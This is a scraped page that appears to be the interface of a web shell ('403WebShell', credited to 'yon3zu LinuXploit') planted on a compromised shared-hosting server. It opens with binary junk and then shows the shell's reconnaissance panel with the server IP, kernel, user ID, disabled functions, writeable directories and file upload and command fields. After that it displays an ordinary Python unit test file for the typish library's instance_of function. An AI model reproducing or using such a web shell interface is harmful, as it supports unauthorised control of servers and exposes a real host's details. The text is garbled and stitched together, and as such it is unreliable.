JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 2.57.91.113  /  Your IP : 216.73.217.26
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python311/lib/python3.11/site-packages/tests/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python311/lib/python3.11/site-packages/tests/functions//test_instance_of.py
from sys import version_info
from typing import List, Dict, Union, Optional, Callable, Any, Tuple, Type, Iterable
from unittest import TestCase, skipUnless

import nptyping as nptyping
import numpy

from typish import Literal, instance_of, State, register_get_type


class A: pass


class B(A): pass


class C(B): pass


class D(C): pass


class E(D): pass


class F(E, str): pass


class TestInstanceOf(TestCase):
    def test_instance_of(self):
        self.assertTrue(instance_of([[[1], [2]]], List[List[List[int]]]))
        self.assertTrue(instance_of([[[1], ['2']]], List[List[List[object]]]))
        self.assertTrue(instance_of([], List[int]))
        self.assertTrue(instance_of({}, Dict[int, int]))

    def test_instance_of_multiple(self):
        self.assertTrue(instance_of(F(), A))
        self.assertTrue(instance_of(F(), str))
        self.assertTrue(instance_of(F(), A, str))
        self.assertTrue(not instance_of(F(), A, str, int))

    def test_instance_of_union(self):
        self.assertTrue(instance_of(F(), Union[int, A]))
        self.assertTrue(instance_of(F(), Union[A, int]))
        self.assertTrue(instance_of(F(), Union[A, str]))
        self.assertTrue(instance_of(F(), Optional[str]))
        self.assertTrue(instance_of(None, Optional[str]))
        self.assertTrue(instance_of(Any, Union[int, Literal[Any]]))

    def test_instance_of_callable(self):
        def func1(x: int, y: str) -> object:
            pass

        def func2() -> int:
            pass

        def func3(x: int):
            pass

        def func4():
            pass

        def func5(x):
            pass

        def func6(l: List[List[List[int]]]):
            pass

        self.assertTrue(instance_of(func1, Callable[[int, str], object]))
        self.assertTrue(instance_of(func1, Callable[[object, str], object]))
        self.assertTrue(not instance_of(func1, Callable[[str, str], object]))
        self.assertTrue(not instance_of(func1, Callable[[str, str], int]))
        self.assertTrue(instance_of(func2, Callable[[], int]))
        self.assertTrue(instance_of(func3, Callable[[int], Any]))
        self.assertTrue(instance_of(func4, Callable))
        self.assertTrue(instance_of(func5, Callable[[Any], Any]))
        self.assertTrue(instance_of(func6, Callable[[List[List[List[int]]]], Any]))

    def test_lambda_instance_of_callable(self):
        self.assertTrue(instance_of(lambda x, y: 42, Callable[[int, str], str]))
        self.assertTrue(instance_of(lambda: 42, Callable[[], str]))

    def test_instance_of_type(self):
        self.assertTrue(instance_of(int, Type))
        self.assertTrue(instance_of(int, Type[int]))
        self.assertTrue(not instance_of(str, Type[int]))

    def test_instance_of_tuple(self):
        self.assertTrue(instance_of((1,), Tuple[int]))
        self.assertTrue(instance_of((1, 2, 3), Tuple[int, ...]))

    def test_instance_of_list_with_union(self):
        self.assertTrue(instance_of([1, '2', 3], List[Union[int, str]]))
        self.assertTrue(not instance_of([1, '2', 3], List[Union[int, float]]))

    def test_instance_of_tuple_with_union(self):
        self.assertTrue(instance_of((1, '2', 3), Tuple[Union[int, str], ...]))
        self.assertTrue(not instance_of((1, '2', 3), Tuple[Union[int, float], ...]))

    def test_instance_of_iterable(self):
        self.assertTrue(instance_of([1, 2, 3], Iterable[int]))
        self.assertTrue(instance_of((1, 2, 3), Iterable[int]))

    def test_instance_of_literal(self):
        self.assertTrue(instance_of(42, Literal[42]))
        self.assertTrue(instance_of(42, Literal[42], int))
        self.assertTrue(not instance_of(43, Literal[42]))
        self.assertTrue(not instance_of(42, Literal[42], str))
        self.assertTrue(not instance_of(42, Literal))
        self.assertTrue(instance_of(Any, Literal[Any]))
        self.assertTrue(not instance_of(42, Literal[Any]))
        self.assertTrue(not instance_of(42, Literal))
        self.assertTrue(instance_of(2, Literal[1, 2]))

    def test_instance_of_typing_literal(self):
        # This is to mock Python 3.8 Literal.
        class LiteralMockMeta(type):
            __name__ = 'Literal'

            def __instancecheck__(self, instance):
                raise Exception('typing.Literal does not allow instance checks.')

        class LiteralMock(metaclass=LiteralMockMeta):
            __args__ = (42,)

        self.assertTrue(instance_of(42, LiteralMock))

    def test_instance_of_numpy(self):
        self.assertTrue(instance_of(numpy.array([1, 2, 3]), numpy.ndarray))

    def test_instance_of_nptyping_ndarray(self):
        local_state = State()
        register_get_type(numpy.ndarray, nptyping.NDArray.type_of, local_state)

        arr = numpy.array([1, 2, 3])
        arr_type = nptyping.NDArray[(3,), int]

        self.assertTrue(instance_of(arr, arr_type, state=local_state))
        self.assertTrue(instance_of([arr], List[arr_type], state=local_state))
        self.assertTrue(instance_of([arr], List[nptyping.NDArray], state=local_state))
        self.assertTrue(not instance_of([arr], List[nptyping.NDArray[(4,), float]], state=local_state))

    @skipUnless(10 * version_info.major + version_info.minor >= 39, 'PEP-585')
    def test_instance_of_py39_types(self):
        self.assertTrue(instance_of({'42': 42}, Dict[str, int]))
        self.assertTrue(not instance_of({'42': 42}, Dict[str, str]))
        self.assertTrue(not instance_of({42: 42}, Dict[str, int]))
        self.assertTrue(instance_of([1, 2, 3], list[int]))
        self.assertTrue(not instance_of([1, 2, 3], list[str]))

Youez - 2016 - github.com/yon3zu
LinuXploit